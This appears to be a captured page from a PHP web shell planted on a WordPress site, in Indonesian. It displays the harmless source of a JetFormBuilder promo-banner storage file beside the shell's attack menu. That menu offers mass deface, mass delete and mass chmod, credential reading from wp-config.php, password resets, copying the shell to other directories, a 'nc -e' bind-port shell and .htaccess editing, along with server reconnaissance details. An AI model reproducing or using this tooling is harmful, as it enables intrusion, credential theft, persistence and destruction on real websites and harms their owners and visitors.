WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/modules/promo-banner/storage.php (2.78 KB)
<?php
namespace JFB_Modules\Promo_Banner;

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

class Storage {

	protected $storage_key = null;
	protected $api_url     = 'https://account.jetformbuilder.com/wp-json/jfb/v1/promo';

	public function __construct( $storage_key ) {
		$this->storage_key = $storage_key;
	}

	/**
	 * Get hash for banner HTML
	 *
	 * @param  string $banner_html banner content
	 * @return string
	 */
	public function get_banner_hash( $banner_html ) {
		return md5( $banner_html );
	}

	/**
	 * Check if given banner was dismissed before by it's hash
	 *
	 * @param  string  $banner_hash Hash string.
	 * @return boolean
	 */
	public function is_banner_dismissed( $banner_hash ) {

		// banners visible only for loggen in users
		if ( ! is_user_logged_in() ) {
			return true;
		}

		$dismissed_banners = get_user_meta( get_current_user_id(), $this->get_storage_key(), false );

		if ( ! empty( $dismissed_banners ) && in_array( $banner_hash, $dismissed_banners ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Add banner to the list of dismissed banners for current user
	 *
	 * @param  [type] $banner_hash [description]
	 * @return [type]              [description]
	 */
	public function dismiss_banner( $banner_hash ) {
		add_user_meta( get_current_user_id(), $this->get_storage_key(), $banner_hash );
	}

	/**
	 * Transient cache key
	 *
	 * @return [type] [description]
	 */
	public function get_storage_key() {
		return $this->storage_key;
	}

	/**
	 * Returns promo discount value with '%' sign in the end
	 *
	 * @return [type] [description]
	 */
	public function get_promo_value() {

		$promo_data = $this->get_promo_data();
		return isset( $promo_data['promo'] ) ? $promo_data['promo'] : false;
	}

	/**
	 * Get banner HTML from transient cache or remotely.
	 *
	 * @return string|int
	 */
	public function get_banner_html() {

		$promo_data = $this->get_promo_data();
		return isset( $promo_data['banner'] ) ? $promo_data['banner'] : false;
	}

	/**
	 * Get all data for current promos
	 *
	 * @return array
	 */
	public function get_promo_data() {

		$data = get_transient( $this->get_storage_key() );

		if ( false === $data ) {
			$data = $this->get_remote_data();
		}

		set_transient( $this->get_storage_key(), $data, 6 * HOUR_IN_SECONDS );

		return ! empty( $data ) && is_array( $data ) ? $data : array();
	}

	/**
	 * Get remote content of the banner from API
	 * If there is no active promo right now - will be returned -1
	 *
	 * @return string|int
	 */
	public function get_remote_data() {

		$response = wp_remote_get( $this->api_url );
		$body     = wp_remote_retrieve_body( $response );

		if ( $body && ! is_wp_error( $body ) ) {
			$body = json_decode( $body, true );
		} else {
			$body = array();
		}

		return is_array( $body ) ? $body : array();
	}

}
namawaktuukuranownerpermaksi
..
assets/ 2026-07-21 14:141.52 KB 76129f60960:kundendxwrx-r--r
module.php 2026-07-21 14:144.51 KB 76129f60960:kunden-xw-x-----
edt
storage.php 2026-07-21 14:142.78 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/modules/promo-banner
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK